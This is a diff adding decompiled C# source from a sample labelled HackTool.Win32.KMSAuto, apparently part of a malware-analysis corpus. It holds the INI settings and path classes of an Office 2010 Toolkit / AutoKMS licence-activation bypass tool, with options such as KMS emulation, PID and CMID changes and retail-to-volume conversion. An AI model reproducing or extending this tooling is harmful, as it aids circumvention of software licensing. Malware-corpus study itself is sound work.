@@ -0,0 +1,43 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.IniFile
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class IniFile
|
||||
{
|
||||
public string path;
|
||||
|
||||
[DllImport("kernel32")]
|
||||
private static extern long WritePrivateProfileString(
|
||||
string section,
|
||||
string key,
|
||||
string val,
|
||||
string filePath);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
private static extern int GetPrivateProfileString(
|
||||
string section,
|
||||
string key,
|
||||
string def,
|
||||
StringBuilder retVal,
|
||||
int size,
|
||||
string filePath);
|
||||
|
||||
public IniFile(string INIPath) => this.path = INIPath;
|
||||
|
||||
public void IniWriteValue(string Section, string Key, string Value) => IniFile.WritePrivateProfileString(Section, Key, Value, this.path);
|
||||
|
||||
public string IniReadValue(string Section, string Key)
|
||||
{
|
||||
StringBuilder retVal = new StringBuilder((int) byte.MaxValue);
|
||||
IniFile.GetPrivateProfileString(Section, Key, "", retVal, (int) byte.MaxValue, this.path);
|
||||
return retVal.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.PathsSettingsObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class PathsSettingsObject
|
||||
{
|
||||
public string AutoKMS;
|
||||
public string AutoRearm;
|
||||
public string KMSEmulator;
|
||||
|
||||
public PathsSettingsObject()
|
||||
{
|
||||
this.AutoKMS = Common.WINDIR + "\\AutoKMS";
|
||||
this.AutoRearm = Common.WINDIR + "\\AutoRearm";
|
||||
this.KMSEmulator = Common.WINDIR;
|
||||
}
|
||||
}
|
||||
}
|
||||
+413
@@ -0,0 +1,413 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.Settings
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using TaskScheduler;
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public static class Settings
|
||||
{
|
||||
public static bool ReadOnlyFolder;
|
||||
public static bool ReadOnlyFile;
|
||||
public static bool INIExists;
|
||||
public static SettingsIDObject SettingsID = new SettingsIDObject();
|
||||
public static GlobalSettingsObject GlobalSettings = new GlobalSettingsObject();
|
||||
public static AutoKMSSettingsObject AutoKMSSettings = new AutoKMSSettingsObject();
|
||||
public static AutoRearmSettingsObject AutoRearmSettings = new AutoRearmSettingsObject();
|
||||
public static EZActivatorSettingsObject EZActivatorSettings = new EZActivatorSettingsObject();
|
||||
public static PathsSettingsObject PathsSettings = new PathsSettingsObject();
|
||||
|
||||
public static string GetAutoKMSPath()
|
||||
{
|
||||
string empty = string.Empty;
|
||||
string autoKmsPath;
|
||||
if (Common.IsAutoKMSInstalled())
|
||||
{
|
||||
ScheduledTasks scheduledTasks = new ScheduledTasks();
|
||||
try
|
||||
{
|
||||
Task task = scheduledTasks.OpenTask("AutoKMS");
|
||||
autoKmsPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 12);
|
||||
task.Close();
|
||||
scheduledTasks.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Task task = scheduledTasks.OpenTask("AutoKMSCustom");
|
||||
autoKmsPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 12);
|
||||
task.Close();
|
||||
scheduledTasks.Dispose();
|
||||
}
|
||||
}
|
||||
else
|
||||
autoKmsPath = Settings.PathsSettings.AutoKMS;
|
||||
return autoKmsPath;
|
||||
}
|
||||
|
||||
public static string GetAutoRearmPath()
|
||||
{
|
||||
string empty = string.Empty;
|
||||
string autoRearmPath;
|
||||
if (Common.IsAutoRearmInstalled())
|
||||
{
|
||||
ScheduledTasks scheduledTasks = new ScheduledTasks();
|
||||
try
|
||||
{
|
||||
Task task = scheduledTasks.OpenTask("AutoRearm");
|
||||
autoRearmPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 14);
|
||||
task.Close();
|
||||
scheduledTasks.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Task task = scheduledTasks.OpenTask("AutoRearmCustom");
|
||||
autoRearmPath = task.ApplicationName.Substring(0, task.ApplicationName.Length - 14);
|
||||
task.Close();
|
||||
scheduledTasks.Dispose();
|
||||
}
|
||||
}
|
||||
else
|
||||
autoRearmPath = Settings.PathsSettings.AutoRearm;
|
||||
return autoRearmPath;
|
||||
}
|
||||
|
||||
public static void GetSettings()
|
||||
{
|
||||
Settings.HandleReadOnly();
|
||||
if (Settings.ReadOnlyFolder)
|
||||
{
|
||||
if (Settings.INIExists)
|
||||
{
|
||||
Settings.LoadINISettings();
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.SettingsID = new SettingsIDObject();
|
||||
Settings.GlobalSettings = new GlobalSettingsObject();
|
||||
Settings.AutoKMSSettings = new AutoKMSSettingsObject();
|
||||
Settings.AutoRearmSettings = new AutoRearmSettingsObject();
|
||||
Settings.EZActivatorSettings = new EZActivatorSettingsObject();
|
||||
Settings.PathsSettings = new PathsSettingsObject();
|
||||
}
|
||||
}
|
||||
else if (Settings.INIExists)
|
||||
Settings.LoadINISettings();
|
||||
else
|
||||
Settings.MakeDefaultToolkitINIFile();
|
||||
}
|
||||
|
||||
public static void GetSettingsAutoKMS()
|
||||
{
|
||||
if (!new FileInfo(Settings.GetAutoKMSPath() + "\\AutoKMS.ini").Exists)
|
||||
Settings.MakeDefaultAutoKMSINIFile();
|
||||
Settings.LoadINISettingsAutoKMS();
|
||||
}
|
||||
|
||||
public static void GetSettingsAutoRearm()
|
||||
{
|
||||
if (!new FileInfo(Settings.GetAutoRearmPath() + "\\AutoRearm.ini").Exists)
|
||||
Settings.MakeDefaultAutoRearmINIFile();
|
||||
Settings.LoadINISettingsAutoRearm();
|
||||
}
|
||||
|
||||
public static void MakeDefaultToolkitINIFile()
|
||||
{
|
||||
Settings.SettingsID = new SettingsIDObject();
|
||||
Settings.GlobalSettings = new GlobalSettingsObject();
|
||||
Settings.AutoKMSSettings = new AutoKMSSettingsObject();
|
||||
Settings.AutoRearmSettings = new AutoRearmSettingsObject();
|
||||
Settings.EZActivatorSettings = new EZActivatorSettingsObject();
|
||||
Settings.PathsSettings = new PathsSettingsObject();
|
||||
string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("Global", "AutoRemoveKMSEmulator", Settings.GlobalSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("Global", "AutoRemoveKMSHost", Settings.GlobalSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("Global", "KMSServer", Settings.GlobalSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("Global", "UseKMSEmulator", Settings.GlobalSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("Global", "VerboseCheckActivation", Settings.GlobalSettings.VerboseCheckActivation.ToString());
|
||||
iniFile.IniWriteValue("Global", "ShowCMID", Settings.GlobalSettings.ShowCMID.ToString());
|
||||
iniFile.IniWriteValue("Global", "KMSPID", Settings.GlobalSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ActAttempts", Settings.EZActivatorSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "PIDAttempts", Settings.EZActivatorSettings.PIDAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "CMIDAttempts", Settings.EZActivatorSettings.CMIDAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "AutoLicRepairAll", Settings.EZActivatorSettings.AutoLicRepairAll.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "AutoMakeRestoreBackup", Settings.EZActivatorSettings.AutoMakeRestoreBackup.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ChangePID", Settings.EZActivatorSettings.ChangePID.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ChangeCMID", Settings.EZActivatorSettings.ChangeCMID.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "InstallAutoKMS", Settings.EZActivatorSettings.InstallAutoKMS.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "MAK2KMS", Settings.EZActivatorSettings.MAK2KMS.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "RemoveRetailKeys", Settings.EZActivatorSettings.RemoveRetailKeys.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "Retail2VL", Settings.EZActivatorSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "StarterSub2Bypass", Settings.EZActivatorSettings.StarterSub2Bypass.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void MakeDefaultAutoKMSINIFile()
|
||||
{
|
||||
Settings.SettingsID = new SettingsIDObject();
|
||||
Settings.AutoKMSSettings = new AutoKMSSettingsObject();
|
||||
Settings.PathsSettings = new PathsSettingsObject();
|
||||
string str = Settings.GetAutoKMSPath() + "\\AutoKMS.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void MakeDefaultAutoRearmINIFile()
|
||||
{
|
||||
Settings.SettingsID = new SettingsIDObject();
|
||||
Settings.AutoRearmSettings = new AutoRearmSettingsObject();
|
||||
Settings.PathsSettings = new PathsSettingsObject();
|
||||
string str = Settings.GetAutoRearmPath() + "\\AutoRearm.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void MakeNewToolkitINIFile()
|
||||
{
|
||||
string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("Global", "AutoRemoveKMSEmulator", Settings.GlobalSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("Global", "AutoRemoveKMSHost", Settings.GlobalSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("Global", "KMSServer", Settings.GlobalSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("Global", "UseKMSEmulator", Settings.GlobalSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("Global", "VerboseCheckActivation", Settings.GlobalSettings.VerboseCheckActivation.ToString());
|
||||
iniFile.IniWriteValue("Global", "ShowCMID", Settings.GlobalSettings.ShowCMID.ToString());
|
||||
iniFile.IniWriteValue("Global", "KMSPID", Settings.GlobalSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ActAttempts", Settings.EZActivatorSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "PIDAttempts", Settings.EZActivatorSettings.PIDAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "CMIDAttempts", Settings.EZActivatorSettings.CMIDAttempts.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "AutoLicRepairAll", Settings.EZActivatorSettings.AutoLicRepairAll.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "AutoMakeRestoreBackup", Settings.EZActivatorSettings.AutoMakeRestoreBackup.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ChangePID", Settings.EZActivatorSettings.ChangePID.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "ChangeCMID", Settings.EZActivatorSettings.ChangeCMID.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "InstallAutoKMS", Settings.EZActivatorSettings.InstallAutoKMS.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "MAK2KMS", Settings.EZActivatorSettings.MAK2KMS.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "RemoveRetailKeys", Settings.EZActivatorSettings.RemoveRetailKeys.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "Retail2VL", Settings.EZActivatorSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("EZ-Activator", "StarterSub2Bypass", Settings.EZActivatorSettings.StarterSub2Bypass.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void MakeNewAutoKMSINIFile()
|
||||
{
|
||||
string str = Settings.GetAutoKMSPath() + "\\AutoKMS.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("AutoKMS", "ActAttempts", Settings.AutoKMSSettings.ActAttempts.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "ActivateWindows", Settings.AutoKMSSettings.ActivateWindows.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSEmulator", Settings.AutoKMSSettings.AutoRemoveKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "AutoRemoveKMSHost", Settings.AutoKMSSettings.AutoRemoveKMSHost.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSServer", Settings.AutoKMSSettings.KMSServer.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "Logging", Settings.AutoKMSSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "UseKMSEmulator", Settings.AutoKMSSettings.UseKMSEmulator.ToString());
|
||||
iniFile.IniWriteValue("AutoKMS", "KMSPID", Settings.AutoKMSSettings.KMSPID.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void MakeNewAutoRearmINIFile()
|
||||
{
|
||||
string str = Settings.GetAutoRearmPath() + "\\AutoRearm.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
fileInfo.Delete();
|
||||
IniFile iniFile = new IniFile(str);
|
||||
iniFile.IniWriteValue("SettingsID", "ID", Settings.SettingsID.ID);
|
||||
iniFile.IniWriteValue("AutoRearm", "Retail2VL", Settings.AutoRearmSettings.Retail2VL.ToString());
|
||||
iniFile.IniWriteValue("AutoRearm", "Logging", Settings.AutoRearmSettings.Logging.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoKMS", Settings.PathsSettings.AutoKMS.ToString());
|
||||
iniFile.IniWriteValue("Paths", "AutoRearm", Settings.PathsSettings.AutoRearm.ToString());
|
||||
iniFile.IniWriteValue("Paths", "KMSEmulator", Settings.PathsSettings.KMSEmulator.ToString());
|
||||
}
|
||||
|
||||
public static void LoadINISettings()
|
||||
{
|
||||
string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
IniFile iniFile = new IniFile(str);
|
||||
string id = Settings.SettingsID.ID;
|
||||
if (iniFile.IniReadValue("SettingsID", "ID") == id)
|
||||
{
|
||||
Settings.GlobalSettings.AutoRemoveKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("Global", "AutoRemoveKMSEmulator").ToLower());
|
||||
Settings.GlobalSettings.AutoRemoveKMSHost = Convert.ToBoolean(iniFile.IniReadValue("Global", "AutoRemoveKMSHost").ToLower());
|
||||
Settings.GlobalSettings.KMSServer = iniFile.IniReadValue("Global", "KMSServer");
|
||||
Settings.GlobalSettings.UseKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("Global", "UseKMSEmulator").ToLower());
|
||||
Settings.GlobalSettings.VerboseCheckActivation = Convert.ToBoolean(iniFile.IniReadValue("Global", "VerboseCheckActivation").ToLower());
|
||||
Settings.GlobalSettings.ShowCMID = Convert.ToBoolean(iniFile.IniReadValue("Global", "ShowCMID").ToLower());
|
||||
Settings.GlobalSettings.KMSPID = iniFile.IniReadValue("Global", "KMSPID");
|
||||
Settings.AutoKMSSettings.ActAttempts = Convert.ToInt32(iniFile.IniReadValue("AutoKMS", "ActAttempts"));
|
||||
Settings.AutoKMSSettings.ActivateWindows = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "ActivateWindows"));
|
||||
Settings.AutoKMSSettings.AutoRemoveKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSEmulator").ToLower());
|
||||
Settings.AutoKMSSettings.AutoRemoveKMSHost = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSHost").ToLower());
|
||||
Settings.AutoKMSSettings.KMSServer = iniFile.IniReadValue("AutoKMS", "KMSServer");
|
||||
Settings.AutoKMSSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "Logging").ToLower());
|
||||
Settings.AutoKMSSettings.UseKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "UseKMSEmulator").ToLower());
|
||||
Settings.AutoKMSSettings.KMSPID = iniFile.IniReadValue("AutoKMS", "KMSPID");
|
||||
Settings.AutoRearmSettings.Retail2VL = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Retail2VL").ToLower());
|
||||
Settings.AutoRearmSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Logging").ToLower());
|
||||
Settings.EZActivatorSettings.ActAttempts = Convert.ToInt32(iniFile.IniReadValue("EZ-Activator", "ActAttempts"));
|
||||
Settings.EZActivatorSettings.PIDAttempts = Convert.ToInt32(iniFile.IniReadValue("EZ-Activator", "PIDAttempts"));
|
||||
Settings.EZActivatorSettings.CMIDAttempts = Convert.ToInt32(iniFile.IniReadValue("EZ-Activator", "CMIDAttempts"));
|
||||
Settings.EZActivatorSettings.ChangePID = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "ChangePID").ToLower());
|
||||
Settings.EZActivatorSettings.ChangeCMID = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "ChangeCMID").ToLower());
|
||||
Settings.EZActivatorSettings.AutoLicRepairAll = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "AutoLicRepairAll").ToLower());
|
||||
Settings.EZActivatorSettings.AutoMakeRestoreBackup = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "AutoMakeRestoreBackup").ToLower());
|
||||
Settings.EZActivatorSettings.InstallAutoKMS = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "InstallAutoKMS").ToLower());
|
||||
Settings.EZActivatorSettings.MAK2KMS = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "MAK2KMS").ToLower());
|
||||
Settings.EZActivatorSettings.RemoveRetailKeys = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "RemoveRetailKeys").ToLower());
|
||||
Settings.EZActivatorSettings.Retail2VL = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "Retail2VL").ToLower());
|
||||
Settings.EZActivatorSettings.StarterSub2Bypass = Convert.ToBoolean(iniFile.IniReadValue("EZ-Activator", "StarterSub2Bypass").ToLower());
|
||||
Settings.PathsSettings.AutoKMS = Convert.ToString(iniFile.IniReadValue("Paths", "AutoKMS"));
|
||||
Settings.PathsSettings.AutoRearm = Convert.ToString(iniFile.IniReadValue("Paths", "AutoRearm"));
|
||||
Settings.PathsSettings.KMSEmulator = Convert.ToString(iniFile.IniReadValue("Paths", "KMSEmulator"));
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.MakeDefaultToolkitINIFile();
|
||||
Settings.LoadINISettings();
|
||||
}
|
||||
}
|
||||
|
||||
public static void LoadINISettingsAutoKMS()
|
||||
{
|
||||
string str = Settings.GetAutoKMSPath() + "\\AutoKMS.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
IniFile iniFile = new IniFile(str);
|
||||
string id = Settings.SettingsID.ID;
|
||||
if (iniFile.IniReadValue("SettingsID", "ID") == id)
|
||||
{
|
||||
Settings.AutoKMSSettings.ActAttempts = Convert.ToInt32(iniFile.IniReadValue("AutoKMS", "ActAttempts"));
|
||||
Settings.AutoKMSSettings.ActivateWindows = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "ActivateWindows").ToLower());
|
||||
Settings.AutoKMSSettings.AutoRemoveKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSEmulator").ToLower());
|
||||
Settings.AutoKMSSettings.AutoRemoveKMSHost = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "AutoRemoveKMSHost").ToLower());
|
||||
Settings.AutoKMSSettings.KMSServer = iniFile.IniReadValue("AutoKMS", "KMSServer");
|
||||
Settings.AutoKMSSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "Logging").ToLower());
|
||||
Settings.AutoKMSSettings.UseKMSEmulator = Convert.ToBoolean(iniFile.IniReadValue("AutoKMS", "UseKMSEmulator").ToLower());
|
||||
Settings.AutoKMSSettings.KMSPID = iniFile.IniReadValue("AutoKMS", "KMSPID");
|
||||
Settings.PathsSettings.AutoKMS = Convert.ToString(iniFile.IniReadValue("Paths", "AutoKMS"));
|
||||
Settings.PathsSettings.AutoRearm = Convert.ToString(iniFile.IniReadValue("Paths", "AutoRearm"));
|
||||
Settings.PathsSettings.KMSEmulator = Convert.ToString(iniFile.IniReadValue("Paths", "KMSEmulator"));
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.MakeDefaultAutoKMSINIFile();
|
||||
Settings.LoadINISettingsAutoKMS();
|
||||
}
|
||||
}
|
||||
|
||||
public static void LoadINISettingsAutoRearm()
|
||||
{
|
||||
string str = Settings.GetAutoRearmPath() + "\\AutoRearm.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
IniFile iniFile = new IniFile(str);
|
||||
string id = Settings.SettingsID.ID;
|
||||
if (iniFile.IniReadValue("SettingsID", "ID") == id)
|
||||
{
|
||||
Settings.AutoRearmSettings.Retail2VL = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Retail2VL"));
|
||||
Settings.AutoRearmSettings.Logging = Convert.ToBoolean(iniFile.IniReadValue("AutoRearm", "Logging").ToLower());
|
||||
Settings.PathsSettings.AutoKMS = Convert.ToString(iniFile.IniReadValue("Paths", "AutoKMS"));
|
||||
Settings.PathsSettings.AutoRearm = Convert.ToString(iniFile.IniReadValue("Paths", "AutoRearm"));
|
||||
Settings.PathsSettings.KMSEmulator = Convert.ToString(iniFile.IniReadValue("Paths", "KMSEmulator"));
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.MakeDefaultAutoRearmINIFile();
|
||||
Settings.LoadINISettingsAutoRearm();
|
||||
}
|
||||
}
|
